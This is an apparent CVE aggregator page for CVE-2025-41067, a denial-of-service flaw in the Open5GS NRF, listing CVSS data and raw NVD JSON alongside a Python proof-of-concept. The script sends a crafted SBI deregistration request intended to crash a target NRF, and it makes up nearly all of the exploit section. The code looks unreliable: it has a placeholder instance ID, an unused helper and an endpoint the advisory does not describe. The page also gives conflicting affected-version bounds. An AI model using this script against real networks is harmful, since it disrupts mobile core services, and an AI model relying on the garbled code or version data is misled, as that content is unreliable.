Security Vulnerability Report
中文
CVE-2025-41067 CVSS 7.5 HIGH

CVE-2025-41067

Published: 2025-10-27 13:15:45
Last Modified: 2025-10-29 11:15:44

Description

Reachable Assertion vulnerability in Open5GS up to version 2.7.6 allows attackers with connectivity to the NRF to cause a denial of service. An SBI request that deletes the NRF's own registry causes a check that ends up crashing the NRF process and renders the discovery service unavailable.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:* - VULNERABLE
Open5GS < 2.7.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-41067 PoC - Open5GS NRF Reachable Assertion DoS This PoC demonstrates the NRF self-deregistration vulnerability. Note: For authorized testing only. """ import requests import json import sys # Configuration NRF_BASE_URL = "http://target-nrf:7777" # Update target URL SBI_HEADERS = { "Content-Type": "application/json", "Accept": "application/json", } def get_nrf_subscription(): """Discover NRF subscription callback URI""" # Query NRF for subscription callback response = requests.get( f"{NRF_BASE_URL}/nnrf-nfm/v1/subscriptions", headers=SBI_HEADERS, timeout=10 ) return response def delete_nrf_self_registration(): """Delete NRF's own registry - triggers assertion failure""" # Construct malicious deregistration request targeting NRF itself # The vulnerability exists when NRF processes its own deregistration deregister_payload = { "nfInstanceId": "nrf-instance-id", # NRF's own instance ID "reason": "SERVICE_ERROR" } response = requests.post( f"{NRF_BASE_URL}/nnrf-nfm/v1/deregistrations", headers=SBI_HEADERS, json=deregister_payload, timeout=10 ) return response def main(): print("[*] CVE-2025-41067 PoC for Open5GS NRF DoS") print("[*] Target:", NRF_BASE_URL) print("\n[1] Sending NRF self-deregistration request...") try: response = delete_nrf_self_registration() print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code in [204, 200, 400]: print("[!] Request sent - NRF may crash if vulnerable") else: print("[*] Unexpected response - target may be patched or not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[!] NRF may have crashed or is unreachable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41067", "sourceIdentifier": "[email protected]", "published": "2025-10-27T13:15:44.973", "lastModified": "2025-10-29T11:15:44.170", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reachable Assertion vulnerability in Open5GS up to version 2.7.6 allows attackers with connectivity to the NRF to cause a denial of service. An SBI request that deletes the NRF's own registry causes a check that ends up crashing the NRF process and renders the discovery service unavailable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.5", "matchCriteriaId": "8F0994C3-81F7-4122-B3FE-6DF0A632DD33"}]}]}], "references": [{"url": "https://open5gs.org/open5gs/release/2025/07/19/release-v2.7.6.html", "source": "[email protected]"}, {"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-newplanes-open5gs", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}